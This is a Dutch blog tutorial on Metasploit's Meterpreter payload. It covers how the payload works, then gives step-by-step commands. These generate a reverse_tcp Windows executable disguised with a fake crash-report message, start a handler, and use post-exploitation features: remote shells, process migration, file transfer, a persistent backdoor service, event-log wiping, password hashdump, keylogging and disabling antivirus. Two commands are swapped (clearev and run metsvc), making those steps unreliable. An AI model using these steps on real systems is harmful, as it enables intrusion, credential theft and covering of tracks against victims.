Meterpreter
Als je het over Metasploit hebt dan zeg je bijna altijd in dezelfde zin āMeterpreterā. Meterpreter is een payload welke officieel geschreven is voor Metasploit 2.x. Het server gedeelte van Meterpreter is geschreven in C en wordt nu gecompileerd met MSVC (Microsoft Visual C++) waardoor het beter portable wordt. Het client gedeelte van de Meterpreter kan in elke taal geschreven worden. Meterpreter is misschien we de allerbekendste payload en dat is niet voor niets. Waarom? Daar gaan we vandaag achter komen. In deze post leg ik je de veelzijdigheid van de Meterpreter uit.
Meterpreter kan (zeker in het Nederlands) op veel verschillende manieren uitgesproken worden. De juiste uitspraak is āMe-teur-peturā. Meterpreter is officieel geschreven door āSkapeā en staat voor The Meta-Interpreter. Meterpreter is een Metasploit payload welke zo bekend is omdat hij op veel situaties toepasbaar is en al vaak zeer effectief gebleken is. Meterpreter gebruikt in-memory DLL-injectie stagers en wordt tijdens runtime over het netwerk uitgebreid.
Grofweg werkt Meterpreter als volgt:
- Het doelstation voert de āinitial stagerā uit. Dit is meestal een bind, reverse, findtag of passivex stager.
- De stager laadt de DLL voorafgegaan door āreflectiveā. De reflective stub zorgt voor het laden / injecteren van de DLL.
- De Metepreter core wordt geïnitialiseerd en maakt een TLS / 1.0-koppeling over de socket en verzendt een GET request. Metasploit ontvangt deze GET en configureert de cliënt.
- Tenslotte laadt Meterpreter de geconfigureerde extensies. Als de geĆÆnfecteerde module administratorrechten heeft zullen stdapi en priv altijd geladen worden. Alle uitbreidingen worden over TLS / 1.0 geladen met behulp van het TLV-protocol.
Zoals je hierboven kunt lezen is de Meterpreter een zogenaamde āstagedā payload. De eerste stage is het implementeren van de communicatie (reverse shell). Deze payload is zeer klein en is dus uitermate effectief. De tweede stage is het starten van communicatie over het Meterpreter Wire Protocol en het uitbreiden van de functionaliteit door meerdere extensies te laden.
Het geïnfecteerde doelstation noemen we de Meterpreter Server (Meterpreter wordt hier uitgevoerd). De cliënt waarmee Meterpreter connect noemen we de Meterpreter Client ofwel het command-and-control-center.
Als een extensie naar de server geladen wordt zal de cliƫnt een DLL uploaden over de gecreƫerde socket. Vervolgens zal de DLL in het geheugen geladen worden. De Metasploit core is al op de server aanwezig en kan ruimte in het geheugen vrijmaken om de relatief grote DLL in te laden. Als de DLL in het geheugen staat zal deze zichzelf registreren en nu kunnen deze functies via de Metasploit client aangestuurd worden.
Zoals je kunt lezen heeft Metasploit een groot aantal voordelen, zoals:
- Encrypted communicatie over de socket via TLS.
- Er worden geen nieuwe processen gecreëerd. Meterpreter wordt in een bestaand proces geïnjecteerd (Remote Library Injection).
- Meterpreter bevindt zich volledig in het RAM geheugen. Er blijven geen Metasploit sporen op de disk achter.
- Het gebruikte TLV protocol heeft weinig beperkingen
- Nieuwe functies kunnen later toegevoegd worden zonder dat Meterpreter opnieuw opgebouwd hoeft te worden.
Het TLV protocol is een coderingsschema dat wordt gebruikt voor een optioneel informatie-element in een bepaald protocol. TLV staat voor Type-Length-Value.
De TLV structuur is een methode waarmee willekeurige waarden van willekeurige lengte kunnen worden gecommuniceerd op een manier waarbij de code welke het pakket verstuurd het formaat van de data niet hoeft te begrijpen. Meterpreter gebruikt het TLV protocol maar legt de lengte vóór het type, dus gebruikt in feite het LTV protocol. Meterpreter gebruikt het TLV protocol dus als volgt:
Length (32 bits, network byte order)
Geeft het formaat van het gehele TLV pakket aan.
Type (32 bits, network byte order)
Een willekeurige binaire code (meestal alfanumeriek) welke aangeeft in welk formaat de data van het āvalueā veld is verzonden.
Value
Een deel van het bericht. Dit deel heeft een variabel formaat welke gespecificeerd is in het ātypeā veld.
Het TLV protocol geeft Meterpreter de mogelijkheid om te communiceren over een robuust en flexibel protocol.
Meterpreter leunt niet op een native command-line zoals CMDe of Bash maar biedt ook een standaardset van commando’s. Naast de defaultcommandoās is het systeem gemakkelijk uit te breiden. Met de āFsā extensie kunnen bijvoorbeeld bestanden ge-up-en download worden. De āNETā extensie zorgt ervoor dat er een dynamische port-forewarding over de Meterpreter verbinding welke vergelijkbaar is met SSH. Meterpreter pakketten worden gecodeerd met een XOR cipher waardoor het verkeer gemaskeerd wordt.
Meterpreter Installeren
Meterpreter kan vanuit Metaploit gemakkelijk gebruikt worden in diverse payloads. Meterpreter is momenteel gebruikt worden tezamen met bijna alle Windows payloads. Bijvoorbeeld:
- win32_bind_meterpreter
Payload binds aan een poort op de targetmachine en wacht op een inkomende verbinding. Na connectie wordt de Meterpreter server geüpload en wordt het bestaande communicatiekanaal gebruikt voor Meterpreter communicatie. - win32_reverse_meterpreter
Deze payload verbind terug naar de hacker op een vooraf gedefinieerde poort. Na connectie wordt de Meterpreter server geüpload en wordt het bestaande communicatiekanaal gebruikt voor Meterpreter communicatie. - win32_findrecvord_meterpreter
De gebruikte exploit wordt getriggered via een specifieke āfile descriptorā. Deze payload zoekt naar deze gebruikte āfile descriptorā en gebruikt deze om de Meterpreter server te uploaden. Het mooie aan deze payload is dat er geen extra communicatiekanaal geopend hoeft te worden waardoor firewalls omzeilt worden.
Het uploaden van Meterpreter via Metasploit gaat via de volgende stappen:
CreĆ«er eerst een payload welke op de cliĆ«nt gedraaid moet worden. Dit kan via āmsfvenomā, bijvoorbeeld:
msfvenom -p windows/meterpreter/reverse_tcp --platform win -f exe LHOST=192.168.1.1 LPORT=444 -o /root/Desktop/pack.exe |
Of via een payload generator zoals Zirikatu welke je hier kunt downloaden:
git clone https://github.com/pasahitz/zirikatu |
Als je Zirikatu wilt gebruiken doorloop je de volgende stappen;
Open de directory en maak de zirikatu.sh executable:
cd zirikatu chmod +x zirikatu.sh |
Download “mono-installer”:
apt-get install mono-complete |
Laten we de payload generator starten:
./zirikatu.sh |
De Zirikatu module neemt je aan de hand mee. Laten we kiezen voor optie 1, een reverse_tcp exploit. Vervolgens stellen we de LHOST en de LPORT in.
Dan volgen er een aantal vragen:
Verander payload icon? y
Error message tonen? y
Error message title: Windows Crash Reporter
Error Message: Deze melding krijgt u te zien omdat Explorer onverwacht gesloten is.
Output name: WindowsCrash
Vervolgens duurt het een paar seconde en is de payload gegenereerd. Als de payload klaar is zal de melding “Succesfully Payload Generated” getoond worden. De volgende vraag is of de Payload Handler gestart moet worden. We kiezen hier voor “y”.
Nu wordt Metasploit gestart met de multi/handler exploit. Vervolgens wordt de reverse_tcp payload ingesteld met de juiste variabelen en wordt de exploit gelanceerd. De sessie wordt geopend. Gebruik “sessions -i 1” om de Meterpreter prompt te openen.
Dit is een automatisch proces via de Zirikatu Payload Generator. Als je zelf een payload hebt gemaakt open de vervolgens Metasploit:
msfconsole |
Kies een exploit:
use exploit/multi/handler |
Nu selecteer je de payload.
set payload windows/meterpreter/reverse_tcp |
En uiteraard moeten we de variabelen invullen welke benodigd zijn voor de exploit en de payload:
set RHOST 192.168.1.101 set RPORT 24567 set LHOST 127.0.0.1 set LPORT 5556 |
En vervolgens vuren we de exploit met bijbehorende payload af op de target machine:
exploit |
Als alles goed gaat zie je dat Meterpreter verbonden is. De āmsf>ā prompt is nu veranderd in de āmeterpreter>ā prompt. Dit betekend dat we v.a. hier Meterpreter kunnen gebruiken. Om terug te keren kunnen we de Meterpreter instance naar de achtergrond sturen middels:
background |
Je krijgt nu de āmsf>ā prompt terug. Om weer terug te keren naar de Meterpreter sessie start je een interactie met de sessie:
sessions -i 1 |
Alle actieve sessies bekijken doe je met:
sessions -l |
Nu ben je terug in je Meterpreter prompt (meterpreter>) en heb je interactie met sessie 1.
Meterpreter Gebruiken
Nu gaan we Meterpreter gebruiken. Meterpreter is een uitgebreide payload met vele functies. Laten we eerst de help eens oproepen:
help |
Je ziet hier een aantal mogelijkheden waaronder read, write close initcrypt en use commandoās. Dit zijn de standaard commandoās welke uitgebreid worden nadat een Meterpreter extensie is geĆÆnstalleerd. Een extensie installeren doen we via het āuseā commando. Om bijvoorbeeld de āprocessā extensie gebruik je:
use -m process |
De -m flag in bovenstaande commando is om de extentie aan te roepen via zijn naam. Met de process extensie kun je processen uitvoeren en afsluiten. Als je nu de āhelpā bekijkt zul je zien dat de informatie uitgebreid is met het āprocessā commando. Om nu een lijst van actieve processen te bekijken kunnen we simpelweg het volgende commando gebruiken:
ps |
Om een process af te sluiten gebruik je:
kill PID |
Naast de āprocessā extensie zijn er nog een aantal andere default extensies. Waaronder
- Fs – Interactie met het filesystem van het remote systeem
- Net – Interactie met de network stack van het remote systeem
- Sys – Interactie met de environment van het remote systeem
Via het āexecuteā commando kunnen we commandoās uitvoeren op het remote systeem. Laten we eens een command prompt uitvoeren op de remote computer:
execute -f cmd -c |
Als het proces gestart is wordt er een kanaal aangemaakt en krijgt het kanaal een nummer. Dit is het eerste kanaal dat we aanmaken en dus krijgt dit kanaal nummer 1. Laten we verbinding maken met het kanaal:
interact 1 |
Een andere methode om een shell op het remote systeem te krijgen is via het shell commando:
shell |
Als de interactie tot stand gebracht opent zich de command prompt en kun je deze gebruiken alsof je achter de machine zit.
Meterpreter infiltreert een bestaand proces. Als het proces geen administrator rechten heeft dan wil je dat de Meterpreter actief wordt in een proces welke wel administrator rechten heeft. Op deze manier kun je veel meer op het doelsysteem. Dit doe je via het āmigrateā commando. Dit commando zorgt ervoor dat Meterpreter het huidige proces verlaat en een ander proces infiltreert. Allereerst kun je met het āpsā commando de juiste PID opzoeken van een proces met meer rechten zoals bijvoorbeeld āexplorer.exeā. Vervolgens gebruik je het volgende commando:
migrate PID |
Als je wilt weten als welke user Meterpreter momenteel grunedraaid wordt kun je het volgende commando gebruiken:
getuid |
Om Meterpreter als backdoor actief te houden op de server zou je de Meterpreter service kunnen installeren. De service zal starten bij het booten van de PC waardoor je altijd de PC kunt benaderen als deze aan staat. De Meterpreter service installeren doe je als volgt:
clearev |
Meterpreter kent een aantal native *nix commandoās zoals ācatā. ācdā en āpwdā. Deze commandoās hebben op het doelsysteem dezelfde functie als op je eigen *nix systeem. Een speciaal commando is het commando om de Windows logboeken te wissen. Onderstaande commando wist de Application, System en Security logboeken en wordt dus gebruikt om snel sporen te wissen:
run metsvc |
Om een bestand van het remote systeem te downloaden kun je het download commando gebruiken;
download c:\\logbestand.txt |
Let erop dat je speciale karakters escaped. Vandaar ook de dubbele slash in bovenstaande commando. Dit is eveneens zo bij een upload:
upload file.exe c:\\windows\\system32 |
Om een bestand aan te passen gebruik je het edit commando. Meterpreter zal hiervoor de Vim editor gebruiken:
edit c:\\logbestand.txt |
Je kunt ook een bestand maken om taken te automatiseren. Dit automatiseren kunnen we o.a. doen met het ‘resource’ commando. Door dit commando te gebruikten voert Meterpreter opdrachten uit die zich in een tekstbestand bevinden. Deze opdrachten zijn per regel gescheiden en worden een-voor-een uitgevoerd.
Standaard worden de opdrachten uitgevoerd in de huidige werkmap (op doelcomputer) en vanuit het bronbestand welke zich in de lokale werkdirectory van de aanvallende computer bevindt. Laten we eerst eens kijken wat deze zijn.
Vraag de lokale werk directory op:
lpwd |
Stel je voor dat je een bestand ācommands.txtā uit wilt voeren vanuit ā/var/msf/filesā maar momenteel is de working directory ā/ā. Dan veranderen we de werkdirectory naar:
lcd /var/msf/files |
In deze directory maken we een ācommands.txtā bestand met meerdere commandoās welke we uit gaan voeren op de doelcomputer. We gebruiken nu het commando:
resource commands.txt |
We kunnen ook specifieke libraries gebruiken zoals āespiaā voor het maken van desktop screenshots, āincognitoā voor het nabootsen van de gebruiker, āprivā voor het dumpen van wachtwoorden en āsnifferā voor het afluisteren van commandoās. Om bijvoorbeeld een screenshot te maken van het beeldscherm laad je eerst de āespiaā library en daarna gebruik je het āscreengrabā commando:
use espia
screengrab |
Ook kent Meterpreter diverse default scripts zoals:
- checkvm
- credcollect
- get_local_subnets
- getcountermeasure
- getgui
- gettelnet
- hashdump
- keylogrecorder
- killav
- metsvc
- migrate
- netenum
- prefetchtool
- vnc_oneport / vnc
- scraper
- sheduleme
- winenum
Om een script te draaien gebruik je het run commando. Om dus de meeste virusscanners uit te schakelen kun je het ākillavā script gebruiken. Deze draai je als volgt:
run post/windows/manage/killav |
Dit geeft een kort overzicht van de mogelijkheden van de Meterpreter payload. Meterpreter is een fantastische payload en het is niet voor niets dat deze zo vaak gebruikt wordt. Veel opties, stealthy, snel etc. Probeer eens in een lab omgeving een Windows machine te hacken met de Meterpreter en ik weet zeker dat meteen verliefd wordt op deze payload welke nog steeds in ontwikkeling is en waarvan de mogelijkheden alleen maar uitgebreid worden. Veel plezier!





